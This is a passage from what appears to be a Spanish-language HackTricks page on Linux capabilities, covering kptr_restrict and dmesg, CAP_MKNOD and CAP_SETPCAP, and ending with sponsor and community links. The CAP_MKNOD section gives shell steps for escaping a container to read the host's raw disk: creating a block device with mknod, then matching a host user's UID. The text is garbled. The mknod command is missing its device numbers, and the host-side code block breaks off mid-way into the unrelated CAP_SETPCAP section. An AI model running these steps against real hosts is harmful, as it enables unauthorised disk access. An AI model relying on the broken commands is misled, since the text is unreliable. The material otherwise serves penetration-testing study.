El ajuste del sysctl `kptr_restrict` se introdujo en 2.6.38 y determina si se exponen las direcciones del kernel. Esto se establece en cero (exponiendo las direcciones del kernel) de forma predeterminada desde 2.6.39 dentro del kernel vanilla, aunque muchas distribuciones establecen correctamente el valor en 1 (ocultar de todos excepto uid 0) o 2 (ocultar siempre).
Además, esta capacidad también permite que el proceso vea la salida de `dmesg`, si la configuración `dmesg_restrict` es 1. Finalmente, la capacidad `CAP_SYS_ADMIN` todavía está permitida para realizar operaciones de `syslog` por razones históricas.
## CAP\_MKNOD
[CAP\_MKNOD](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite un uso extendido de [mknod](https://man7.org/linux/man-pages/man2/mknod.2.html) al permitir la creación de algo que no sea un archivo regular (`S_IFREG`), FIFO (tubería con nombre) (`S_IFIFO`) o un socket de dominio UNIX (`S_IFSOCK`). Los archivos especiales son:
*`S_IFCHR` (Archivo especial de caracteres (un dispositivo como una terminal))
*`S_IFBLK` (Archivo especial de bloques (un dispositivo como un disco)).
Es una capacidad predeterminada ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
Esta capacidad permite hacer escalaciones de privilegios (a través de la lectura completa del disco) en el host, bajo estas condiciones:
1. Tener acceso inicial al host (sin privilegios).
2. Tener acceso inicial al contenedor (con privilegios (EUID 0) y `CAP_MKNOD` efectivo).
3. El host y el contenedor deben compartir el mismo espacio de nombres de usuario.
**Pasos:**
1. En el host, como usuario estándar:
1. Obtener el UID actual (`id`). Por ejemplo: `uid=1000(sin_privilegios)`.
2. Obtener el dispositivo que desea leer. Por ejemplo: `/dev/sda`
2. En el contenedor, como `root`:
```bash
# Create a new block special file matching the host device
mknod /dev/sda b
# Configure the permissions
chmod ug+w /dev/sda
# Create the same standard user than the one on host
useradd -u 1000 unprivileged
# Login with that user
su unprivileged
```
1. De vuelta en el host:
```bash
#Find the PID linked to the container owns by the user "unprivileged"
#Example only (Depends on the shell program, etc.). Here: PID=18802.
#Because of user namespace sharing, the unprivileged user have access to the container filesystem, and so the created block special file pointing on /dev/sda
**`CAP_SETPCAP`** es una capacidad de Linux que permite a un proceso **modificar los conjuntos de capacidades de otro proceso**. Concede la capacidad de agregar o eliminar capacidades de los conjuntos de capacidades efectivas, heredables y permitidas de otros procesos. Sin embargo, existen ciertas restricciones sobre cómo se puede utilizar esta capacidad.
Un proceso con `CAP_SETPCAP`**solo puede otorgar o eliminar capacidades que estén en su propio conjunto de capacidades permitidas**. En otras palabras, un proceso no puede otorgar una capacidad a otro proceso si no tiene esa capacidad en sí mismo. Esta restricción evita que un proceso eleve los privilegios de otro proceso más allá de su propio nivel de privilegio.
Además, en las versiones recientes del kernel, la capacidad `CAP_SETPCAP` ha sido **restringida aún más**. Ya no permite que un proceso modifique arbitrariamente los conjuntos de capacidades de otros procesos. En cambio, **solo permite que un proceso reduzca las capacidades en su propio conjunto de capacidades permitidas o en el conjunto de capacidades permitidas de sus descendientes**. Este cambio se introdujo para reducir los posibles riesgos de seguridad asociados con la capacidad.
Para utilizar `CAP_SETPCAP` de manera efectiva, es necesario tener la capacidad en su conjunto de capacidades efectivas y las capacidades objetivo en su conjunto de capacidades permitidas. Luego, puede utilizar la llamada al sistema `capset()` para modificar los conjuntos de capacidades de otros procesos.
En resumen, `CAP_SETPCAP` permite que un proceso modifique los conjuntos de capacidades de otros procesos, pero no puede otorgar capacidades que no tenga en sí mismo. Además, debido a preocupaciones de seguridad, su funcionalidad se ha limitado en las versiones recientes del kernel para permitir solo la reducción de capacidades en su propio conjunto de capacidades permitidas o en los conjuntos de capacidades permitidas de sus descendientes.
**La mayoría de estos ejemplos se tomaron de algunos laboratorios de** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), por lo que si desea practicar estas técnicas de privesc, recomiendo estos laboratorios.
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro hirviente para los profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
